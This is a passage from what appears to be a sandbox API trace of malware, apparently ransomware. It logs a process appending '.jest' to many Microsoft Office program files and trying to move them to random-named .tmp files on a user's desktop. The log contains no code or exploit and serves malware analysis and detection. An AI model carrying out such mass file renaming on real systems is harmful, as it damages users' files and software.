office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg.jest")) returned 1 [0167.525] VarBstrFromR4 (in: fltIn=0x4794588c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.09") returned 0x0 [0167.526] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fvzY0Ixh_Lb1NW3TALjKB7Mv7YWKyj0ePHRd0i98pRECRsFbxtvPJXX8yexUY-blaVA3D5Mpy84VnSlfWMdiWjatL3yCIoTT5YG6Y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fvzy0ixh_lb1nw3taljkb7mv7ywkyj0ephrd0i98precrsfbxtvpjxx8yexuy-blava3d5mpy84vnslfwmdiwjatl3yciott5yg6y.tmp")) returned 0 [0167.526] GetLastError () returned 0x2 [0167.526] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.547] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg.jest")) returned 1 [0167.550] VarBstrFromR4 (in: fltIn=0x4794588e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.11") returned 0x0 [0167.551] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fdYs4mSSd-hM7GIfvB2D8c95ufh7Y7MMF_EHUIbYXZrqUgm6JNSy2IowvMGp0uIe TR0MACtJI7cWizTG32ZmWg-i9fF9cZdQdpAI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fdys4mssd-hm7gifvb2d8c95ufh7y7mmf_ehuibyxzrqugm6jnsy2iowvmgp0uie tr0mactji7cwiztg32zmwg-i9ff9czdqdpai.tmp")) returned 0 [0167.551] GetLastError () returned 0x2 [0167.551] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.552] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg.jest")) returned 1 [0167.555] VarBstrFromR4 (in: fltIn=0x47945890, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.13") returned 0x0 [0167.556] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BNGtE-JMuQp EblftgTYrOe3Gm-3aNsv8FnX1vyuKkRAC825PsQbvlYJzMLr9HcnXpDgq7crnU0uA-eLoeFLIHOVTVTxw4H4c9E3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bngte-jmuqp eblftgtyroe3gm-3ansv8fnx1vyukkrac825psqbvlyjzmlr9hcnxpdgq7crnu0ua-eloeflihovtvtxw4h4c9e3.tmp")) returned 0 [0167.556] GetLastError () returned 0x2 [0167.556] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.558] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis.css.jest")) returned 1 [0167.560] VarBstrFromR4 (in: fltIn=0x47945890, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.13") returned 0x0 [0167.561] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5COQfHaBuJMZgSceCbU3u9su9Zfddiz EyWJu8ZGKmfBXAv4RDYuLVLOzv6uPuBEOY2lmo3Q24SLCkJ_mLUhuAkylsEpmr8McQnD5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5coqfhabujmzgscecbu3u9su9zfddiz eywju8zgkmfbxav4rdyulvlozv6upubeoy2lmo3q24slckj_mluhuakylsepmr8mcqnd5.tmp")) returned 0 [0167.561] GetLastError () returned 0x2 [0167.562] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="˚\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.565] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.574] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\OliveGreen.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\olivegreen.css.jest")) returned 1 [0167.577] VarBstrFromR4 (in: fltIn=0x47945892, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.14") returned 0x0 [0167.578] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ERZGQzFA4-gHwSCgdQ3CMxqy1ZEB73Qa_F8 2QYcg1s6Y3M2Hs70QIFHI6KzI1jTcfd nHqf7ekHm0fYoz6RqtLA6ttzh-cxFGxT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\erzgqzfa4-ghwscgdq3cmxqy1zeb73qa_f8 2qycg1s6y3m2hs70qifhi6kzi1jtcfd nhqf7ekhm0fyoz6rqtla6ttzh-cxfgxt.tmp")) returned 0 [0167.578] GetLastError () returned 0x2 [0167.578] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="˱\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.581] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.581] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml.jest")) returned 1 [0167.584] VarBstrFromR4 (in: fltIn=0x47945894, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.16") returned 0x0 [0167.585] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qotlli7UCgDbO-bAVWPT7P6eXmtZTYSvBgcS28kC-qqbyhIhqWFtXfaDjsxT3gqJMbTpJlW8NwdR6WySmC1J_iwSGAcDICUTgE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qotlli7ucgdbo-bavwpt7p6exmtztysvbgcs28kc-qqbyhihqwftxfadjsxt3gqjmbtpjlw8nwdr6wysmc1j_iwsgacdicutge.tmp")) returned 0 [0167.585] GetLastError () returned 0x2 [0167.586] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml.jest")) returned 1 [0167.604] VarBstrFromR4 (in: fltIn=0x47945896, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.17") returned 0x0 [0167.606] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_YMmpbWZhG-CdUimEBShyDDbRQFEuBIv3W0pqfyeGC lcuiEo_QKoE1c6Xbx9_w4OPJrQbPq0eSY7XDBOFY3oHWimqklVqI KF88y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_ymmpbwzhg-cduimebshyddbrqfeubiv3w0pqfyegc lcuieo_qkoe1c6xbx9_w4opjrqbpq0esy7xdbofy3ohwimqklvqi kf88y.tmp")) returned 0 [0167.606] GetLastError () returned 0x2 [0167.609] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.612] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg.jest")) returned 1 [0167.619] VarBstrFromR4 (in: fltIn=0x47945898, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.19") returned 0x0 [0167.624] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C6-KiQpdJNLjG573Y6TQ3c4d7E2fEL8kkB0_BXehL_LXYd5XBVZHpqgBb-iXpNzyl-yXKeSfyNdMO1LTsVmx_yF2GCKTUulnWhNVm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c6-kiqpdjnljg573y6tq3c4d7e2fel8kkb0_bxehl_lxyd5xbvzhpqgbb-ixpnzyl-yxkesfyndmo1ltsvmx_yf2gcktuulnwhnvm.tmp")) returned 0 [0167.624] GetLastError () returned 0x2 [0167.631] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.632] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pg_index.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pg_index.xml.jest")) returned 1 [0167.638] VarBstrFromR4 (in: fltIn=0x4794589a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.2") returned 0x0 [0167.639] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pg_index.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3TtHAgse6f1oSWI_RuitSyXxmHJEwQFCbCIMNxjXicq 6xvftX2gTKH5RaQfgYEyMqMy93MmZglSn0Ggt_OWui3Sldg9nNavDO2y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3tthagse6f1oswi_ruitsyxxmhjewqfcbcimnxjxicq 6xvftx2gtkh5raqfgyeymqmy93mmzglsn0ggt_owui3sldg9nnavdo2y.tmp")) returned 0 [0167.640] GetLastError () returned 0x2 [0167.640] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.642] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml.jest")) returned 1 [0167.646] VarBstrFromR4 (in: fltIn=0x4794589a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.2") returned 0x0 [0167.647] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rzVxHNvrCay7PKlpgwg_M0vQAT7oKLAVbfvR2HAeOCZ3fARhtV_6dNMt-PUcf2tsKTbWbyFIBNusAjwTto0oELX9KuuY71zxvJfW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rzvxhnvrcay7pklpgwg_m0vqat7oklavbfvr2haeocz3farhtv_6dnmt-pucf2tsktbwbyfibnusajwtto0oelx9kuuy71zxvjfw.tmp")) returned 0 [0167.648] GetLastError () returned 0x2 [0167.648] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.662] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml.jest")) returned 1 [0167.666] VarBstrFromR4 (in: fltIn=0x4794589e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.23") returned 0x0 [0167.668] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WH07TCwQ1IloBE-xSoEObQt2PrlVF4lEunvlZHyX1trMjvPHL-cZRETmn4wHuNSZSKff7uUvEWtKT_f0MOeVK9FfZ0AvxqZj aoKZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wh07tcwq1ilobe-xsoeobqt2prlvf4leunvlzhyx1trmjvphl-czretmn4whunszskff7uuvewtkt_f0moevk9ffz0avxqzj aokz.tmp")) returned 0 [0167.668] GetLastError () returned 0x2 [0167.668] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.678] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl010.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl010.xml.jest")) returned 1 [0167.681] VarBstrFromR4 (in: fltIn=0x479458a0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.25") returned 0x0 [0167.683] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl010.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LJ_8FhQSrKrAbuGZAnkgnEH51kbr2e0iWds8EQTJkLgYCjeIXm psyU-LEJaf kofi1iZCVyOX4TNDQdXZigVtZ hWk3pmi4A5Gj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lj_8fhqsrkrabugzankgneh51kbr2e0iwds8eqtjklgycjeixm psyu-lejaf kofi1izcvyox4tndqdxzigvtz hwk3pmi4a5gj.tmp")) returned 0 [0167.683] GetLastError () returned 0x2 [0167.683] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.685] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl011.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl011.xml.jest")) returned 1 [0167.687] VarBstrFromR4 (in: fltIn=0x479458a0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.25") returned 0x0 [0167.688] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl011.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2v2Xcj88-3P V-ZzGQwr8XyZwvy0D4 u-BgXWixA3KknV2WKPLIsvQ8pSqFysozDIZ JN98DciyvL6PeCKjfRkWxsLzuMoUMPCIwy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2v2xcj88-3p v-zzgqwr8xyzwvy0d4 u-bgxwixa3kknv2wkplisvq8psqfysozdiz jn98dciyvl6peckjfrkwxslzumoumpciwy.tmp")) returned 0 [0167.689] GetLastError () returned 0x2 [0167.689] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.690] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl020.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl020.xml.jest")) returned 1 [0167.691] VarBstrFromR4 (in: fltIn=0x479458a0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.25") returned 0x0 [0167.692] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl020.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V2I VSckpPf0m7cfID7h8xxH41M_3Zgo8-e8gKTu0m7-6uhcSOvL-Ri8LUPWaO8_s7Goie0c4sQaMziXDAYsPf08 TedSBa928J .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v2i vsckppf0m7cfid7h8xxh41m_3zgo8-e8gktu0m7-6uhcsovl-ri8lupwao8_s7goie0c4sqamzixdayspf08 tedsba928j .tmp")) returned 0 [0167.692] GetLastError () returned 0x2 [0167.692] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.693] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl027.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl027.xml.jest")) returned 1 [0167.695] VarBstrFromR4 (in: fltIn=0x479458a2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.27") returned 0x0 [0167.696] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 